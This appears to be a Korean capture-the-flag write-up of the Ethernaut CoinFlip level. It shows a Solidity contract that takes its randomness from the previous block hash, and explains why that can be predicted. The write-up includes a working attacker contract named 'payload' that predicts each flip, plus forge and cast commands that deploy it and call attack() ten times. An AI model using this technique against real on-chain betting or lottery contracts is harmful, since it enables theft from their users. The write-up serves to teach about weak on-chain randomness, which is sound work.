// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
이 문제는 flip()
함수 호출을 할 때 true, false (동전의 앞면 뒷면) 을 맞추면 consecutiveWins
값이 증가하게 되는 컨트렉트인데 이 값을 10을 만들면 (연속으로 10번 맞추면) 풀리게 되는 문제이다.
이 문제는 ethereum 에서 random값을 생성하는게 어렵다는 점과 blockchain 특성상 온체인에서 random값을 생성하는 것은 공격에 취약하다는 특징이 존재한다. ( 채굴자/검증자가 mev 극대화를 위해 공격 가능성, random값을 누구나 예상 가능 )
이 문제 같은 경우는 offchain에서 random값을 가져오는 것이 아닌 block number를 이용하여 random 값을 생성하기 때문에 이 값을 확정적으로 구할 수 있다.
contract payload {
CoinFlip public target = CoinFlip(0xF312A8f555137415878f323479780abc9a0d9Ab6);
uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function attack() public
{
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool answer = coinFlip == 1 ? true : false;
target.flip(answer);
}
}
다음과 같은 컨트렉트를 배포하여 attack()
함수를 10번 호출하여 문제를 해결하였다.
forge create --rpc-url $G_RPC --private-key $P_KEY src/answer.sol:payload
foundry로 contract 배포
cast send --rpc-url $G_RPC --private-key $P_KEY 0x6885De7A3D33D58a36a211107e00d15eF02f7628 "attack()"
10번 실행 ( 쉘 스크립트 혹은 web3 py로도 풀이가 가능하다.)